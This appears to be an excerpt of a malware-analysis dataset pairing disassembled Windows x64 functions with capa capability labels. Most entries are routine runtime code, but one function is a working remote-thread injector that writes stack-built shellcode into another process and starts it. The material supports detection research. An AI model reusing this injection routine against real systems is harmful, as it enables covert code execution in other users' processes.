joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001a83c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001a638

Function at 0x14001c184
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140046a70]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14001c1db
cmp word [rdx], r13w
jne 0x14001c1db
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14001c1e0
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14001c305
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14001c326
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14001c219
mov rdx, r9
mov word [rbx], cx
jmp 0x14001c240
cmp r9, r8
jae 0x14001c250
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14001c1fa
jmp 0x14001c305
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001c2fa
cmp dword [rsp + 0x80], esi
je 0x14001c2fa
lea r8, [0x140046a70]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14001c2d2
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14001c2a2
mov word [rbx], r13w
jmp 0x14001c302
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14001c2af
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14001c302
cmp word [rsp + 0x70], r13w
jne 0x14001c2df
cmp rbx, r14
je 0x14001c29c
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14001cf54
cmp word [rsp + 0x70], r13w
je 0x14001c305
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140046a70]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14001c2ff
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14001c305
Function at 0x14001e030
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001e046
mov al, 1
jmp 0x14001e0a6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001e057
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001e0a4
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400193ec
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001e0a4
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001e0a4
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001e0a4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001e0a6
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14002140c
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x140042080]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x140021456
call fcn.140015bb8
mov dword [rax], 0xf
call fcn.140015bd8
mov dword [rax], 0xd
call fcn.14001b5b0
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14000d220
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x140021461
lea eax, [rbx + 1]
jmp 0x140021443
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x140021441
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x140021443
Function at 0x1400235fc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14002362c
xor eax, eax
jmp 0x1400236ef
mov rbp, rbx
cmp word [rax], si
je 0x140023651
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140023638
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140023634
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400214b8
movsxd r14, eax
test eax, eax
jne 0x14002368f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140023625
mov rcx, r14
call fcn.14001e2cc
mov rdi, rax
test rax, rax
jne 0x1400236a8
xor ecx, ecx
call fcn.14001b618
jmp 0x140023684
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400214b8
test eax, eax
jne 0x1400236d9
mov rcx, rdi
call fcn.14001b618
jmp 0x1400236e3
xor ecx, ecx
call fcn.14001b618
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14002370c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140023793
mov rsi, rbx
cmp word [rax], bp
je 0x140023752
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14002373c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140023738
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14001e2cc
mov rdi, rax
test rax, rax
je 0x140023780
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14002ab00
mov rbp, rdi
xor ecx, ecx
call fcn.14001b618
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140027f14
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140015c1c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140027f9e
cmp byte [rbp - 0x21], r15b
je 0x140027f99
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140027fd4
call fcn.14001fbf4
test eax, eax
jne 0x140027fc0
cmp byte [rbp - 0x21], r15b
je 0x140027fb8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140027fd4
cmp byte [rbp - 0x21], r15b
je 0x140027fd1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14001617c
test eax, eax
jne 0x140028074
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140015c1c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140028013
cmp byte [rbp - 0x21], r15b
je 0x140028048
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140028048
call fcn.14001fbf4
test eax, eax
jne 0x140028034
cmp byte [rbp - 0x21], r15b
je 0x14002802d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140028048
cmp byte [rbp - 0x21], r15b
je 0x140028045
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14001617c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140028074
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140028077
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140028085
mov rcx, rdi
call fcn.14001b618
cmp byte [rbp + 0x3f], r15b
je 0x140028094
mov rcx, qword [rbp + 0x27]
call fcn.14001b618
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140029644
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001cf54
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001cf54
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140029794
cmp rax, 0xffffffffffffffff
je 0x140029794
xor edi, edi
test rbp, rbp
jle 0x14002973f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f868
mov rbx, rax
test rax, rax
jne 0x1400296cc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140029735
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a8b8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001dc30
cmp eax, 0xffffffff
je 0x140029715
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400296dc
mov edx, r15d
mov ecx, r14d
call fcn.14001a8b8
jmp 0x140029735
cmp byte [rsi + 0x38], dil
je 0x14002972c
cmp dword [rsi + 0x34], 5
jne 0x14002972c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140029735
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b618
jmp 0x1400297a8
jns 0x1400297a8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001cf54
cmp rax, 0xffffffffffffffff
jne 0x140029760
cmp byte [rsi + 0x30], dil
je 0x1400297a8
mov edi, dword [rsi + 0x2c]
jmp 0x1400297a8
mov ecx, r14d
call fcn.1400193ec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400297a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400297a8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400297a1
mov eax, dword [rsi + 0x2c]
jmp 0x1400297a6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001cf54
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002a8a0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002a8c8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002a8c8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140009830]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140009840]
mov dword [rax], 1
mov rax, qword [0x140009850]
mov dword [rax], 1
mov rax, qword [0x140009820]
mov dword [rax], 1
mov rax, qword [0x1400096e0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x140009810]
mov dword [0x14000c020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010c0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400097d0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400097b0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140009690]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067
Function at 0x140001540
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x110
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xa0], ecx
mov qword [rbp + 0xa8], rdx
call dbg.__main
movabs rax, 0x20ec8348ec8b4855
movabs rdx, 0x3348db3348c03348
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x48ff3348d23348c9
movabs rdx, 0x4860408b4865c033
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x4820408b4818408b
movabs rdx, 0x588b48008b48008b
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x8bcb03483c4b8b20
movabs rdx, 0xcb03480000008889
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x798bd3034820518b
movabs rdx, 0x481c498bfb034824
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x57b849c03348cb03
movabs rdx, 0x4800636578456e69
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xf3034882348bf633
movabs rdx, 0x574c63b4c368b48
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xc0334deaebc0ff48
movabs rdx, 0x47048b4466c9334d
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xc6d90349810c8b46
movabs rdx, 0xc661e145c663e045
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xc663e345c66ce245
movabs rdx, 0x5c2c74800e445
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xd3ffe04d8d480000
mov qword [rbp + 0x60], rax
mov dword [rbp + 0x68], 0x5de58b48
mov word [rbp + 0x6c], 0xc3
mov rax, qword [rbp + 0xa8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov edx, eax
lea rax, str.Injecting_to_PID:__i
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0xa8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0xae
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x80], rax
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp + 0x80]
mov rax, qword [rbp + 0x88]
mov qword [rsp + 0x20], 0
mov r9d, 0xae
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x80]
mov rax, qword [rbp + 0x88]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x110
pop rbp
ret
Function at 0x140001a90
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]

Function at 0x140001b00
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14000c0b4]
mov r12, rcx
test ebx, ebx
jle 0x140001c30
mov rax, qword [0x14000c0b8]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x140001b4b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x140001bd5
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x140001b30
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x140001c52
mov rax, qword [0x14000c0b8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000c0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001c37
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001bce
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001be0
add dword [0x14000c0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14000c0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001bce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x140001b58
mov rax, qword [0x14000c0b8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002120
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x14000c120]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000c100]
test rbx, rbx
je 0x14000217c
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140002173
test r12, r12
je 0x140002173
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002158
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400023b0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400023c8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023d0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400023e0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140002425
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x14000241c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x140002427
add rax, 0x28
cmp rax, r9
jne 0x140002408
xor eax, eax
ret

Function at 0x140002430
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x1400024c0
mov rdx, qword [0x1400096e0]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x1400024ae
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400024ae
cmp word [rax + 0x18], 0x20b
jne 0x1400024ae
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x1400024c0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x140002499
add r12, 0x28
cmp r12, rsi
je 0x1400024c0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x140002490
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x1400024d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400096e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400024f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400024f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002545
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000253c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400024f0
add rax, 0x28
cmp rax, r9
jne 0x140002528
xor eax, eax
ret

Function at 0x140002550
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400096e0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002570
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002578
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002570
movzx r8d, word [rax + 6]
mov eax, r8d
ret
Function at 0x140002590
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400096e0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400025b0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400025b8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400025b0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x1400025f8
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400025ef
test rcx, rcx
je 0x1400025b0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400025e0
xor eax, eax
ret

Function at 0x140002600
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400096e0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002620
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002628
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140002640
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400096e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002660
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002668
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002660
sub rcx, rdx
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140002660
lea eax, [r8 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop dword [rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400026ac
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400026c0
add rdx, 0x28
cmp rdx, r9
jne 0x140002698
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400026d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400096e0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400026f2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002700
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026f2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400026f2
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x1400026f2
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14000274d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002760
add rdx, 0x28
